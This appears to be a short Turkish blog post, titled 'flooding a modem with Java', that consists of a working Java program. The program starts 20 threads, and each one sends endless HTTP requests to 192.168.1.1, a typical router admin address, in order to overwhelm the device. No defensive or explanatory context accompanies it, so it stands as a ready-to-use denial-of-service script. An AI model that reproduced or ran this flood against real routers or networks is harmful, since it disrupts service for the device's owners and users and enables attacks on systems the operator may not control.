Java ile Modem’e flood yapmak

import java.net.HttpURLConnection;
import java.net.URL;

public class Alffa {
  public static void main(String arsgs[]) {
    int a = 0;
    while(a++<20)
    new Thread(new Runnable() {
      int status = 0; 
      @Override
      public void run() {
        while(true)
          try {
            URL url = new URL("http://192.168.1.1");
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.getInputStream();
            System.out.println(Thread.currentThread().getName()+"-"+status+++","+connection.getResponseCode());
          } catch (Exception e) {
            e.printStackTrace();
          }	
      }
    }).start();	
  }
}

 

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *